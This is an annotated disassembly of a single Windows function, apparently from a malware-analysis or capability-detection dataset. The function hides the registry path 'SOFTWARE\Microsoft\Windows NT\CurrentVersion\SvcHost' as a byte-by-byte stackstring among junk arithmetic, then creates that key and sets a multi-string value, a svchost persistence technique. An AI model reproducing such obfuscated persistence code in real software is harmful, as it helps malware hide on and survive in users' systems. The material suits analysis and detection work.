Function at 0x10002517
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov esi, dword [0x10006698]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x100066b0]
mov edi, dword [0x100066ac]
mov ecx, dword [0x100066a8]
mov edx, dword [0x1000669c]
add eax, 0x7a24
add dword [0x100066b4], 0x513
add eax, 0x2882
add dword [0x100066a0], 0x606e
add eax, 0x7ae4
mov ebx, dword [0x100066b4]
add esi, 0x6c18
add dword [0x100066a0], 0x44ef
add dword [0x100066bc], 0x164e
add eax, 0x1eb5
add dword [0x100066a0], 0x20bf
add esi, 0x5ae
add edi, 0x77e5
add ecx, 0x4ae4
add eax, 0x1f89
add esi, 0x2e89
add edx, 0x7e51
add edi, 0x1f53
add ecx, 0x7504
add eax, 0x3e31
add esi, 0x4625
add edi, 0x16c8
add ecx, 0x3907
add eax, 0x976
add edx, 0x1892
add esi, 0x594e
add ebx, 0x1dd1
add edi, 0x4f2c
add eax, 0xa5b4
add edx, 0x19e6
add ecx, 0xe37
add dword [0x100066b8], 0x79bb
mov byte [ebp - 0x108], 0x53
mov byte [ebp - 0x107], 0x4f
mov byte [ebp - 0x106], 0x46
mov byte [ebp - 0x105], 0x54
mov byte [ebp - 0x104], 0x57
mov byte [ebp - 0x103], 0x41
mov byte [ebp - 0x102], 0x52
mov byte [ebp - 0x101], 0x45
mov byte [ebp - 0x100], 0x5c
mov byte [ebp - 0xff], 0x4d
mov byte [ebp - 0xfe], 0x69
mov byte [ebp - 0xfd], 0x63
mov byte [ebp - 0xfc], 0x72
mov byte [ebp - 0xfb], 0x6f
mov byte [ebp - 0xfa], 0x73
mov byte [ebp - 0xf9], 0x6f
mov byte [ebp - 0xf8], 0x66
mov byte [ebp - 0xf7], 0x74
mov byte [ebp - 0xf6], 0x5c
mov byte [ebp - 0xf5], 0x57
mov byte [ebp - 0xf4], 0x69
mov byte [ebp - 0xf3], 0x6e
mov byte [ebp - 0xf2], 0x64
mov byte [ebp - 0xf1], 0x6f
mov byte [ebp - 0xf0], 0x77
mov byte [ebp - 0xef], 0x73
mov byte [ebp - 0xee], 0x20
mov byte [ebp - 0xed], 0x4e
mov byte [ebp - 0xec], 0x54
mov byte [ebp - 0xeb], 0x5c
mov byte [ebp - 0xea], 0x43
mov dword [0x10006698], esi
mov byte [ebp - 0xe9], 0x75
mov byte [ebp - 0xe8], 0x72
add eax, 0x5b2
add ebx, 0x5992
add eax, 0x5cf6
add ebx, 0x15c
add eax, 0x6df9
add ebx, 0x7bd8
mov dword [0x100066b0], eax
lea eax, [ebp - 8]
push eax
add dword [0x100066a4], 0x119
mov dword [0x100066b4], ebx
lea eax, [ebp - 4]
add dword [0x100066a0], 0x54e3
add dword [0x100066bc], 0x672c
add dword [0x100066b8], 0x7264
add dword [0x100066a4], 0x5102
xor ebx, ebx
add dword [0x100066bc], 0xaa1b
add dword [0x100066b8], 0x3ee7
add dword [0x100066a4], 0x3bef
add dword [0x100066a0], 0x5777
push eax
push ebx
push 0xf003f
push ebx
add edx, 0x2ac
add ecx, 0x35ec
push ebx
lea eax, [ebp - 0x108]
push ebx
add ecx, 0x54e2
add edi, 0x5df3
add edx, 0x15dd
push eax
push closesocket
mov byte [ebp - 0xe7], 0x72
mov byte [ebp - 0xe6], 0x65
mov byte [ebp - 0xe5], 0x6e
mov byte [ebp - 0xe4], 0x74
mov byte [ebp - 0xe3], 0x56
mov byte [ebp - 0xe2], 0x65
mov byte [ebp - 0xe1], 0x72
mov dword [0x100066a8], ecx
mov byte [ebp - 0xe0], 0x73
mov byte [ebp - 0xdf], 0x69
mov byte [ebp - 0xde], 0x6f
mov dword [0x100066ac], edi
mov byte [ebp - 0xdd], 0x6e
mov byte [ebp - 0xdc], 0x5c
mov byte [ebp - 0xdb], 0x53
mov byte [ebp - 0xda], 0x76
mov byte [ebp - 0xd9], 0x63
mov byte [ebp - 0xd8], 0x48
mov byte [ebp - 0xd7], 0x6f
mov byte [ebp - 0xd6], 0x73
mov byte [ebp - 0xd5], 0x74
mov dword [ebp - 4], ebx
mov dword [0x1000669c], edx
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
add dword [0x100066a0], 0x7278
cmp eax, ebx
jne 0x100028fa
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp + 8]
add dword [0x100066a0], 0x1d55
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
add dword [0x10006698], 0x503e
inc eax
push eax
lea eax, [ebp - 0x20c]
push eax
push 7
push ebx
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
add dword [0x1000669c], 0x62ee
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add dword [0x100066b4], 0x1a50
pop edi
pop esi
pop ebx
leave
ret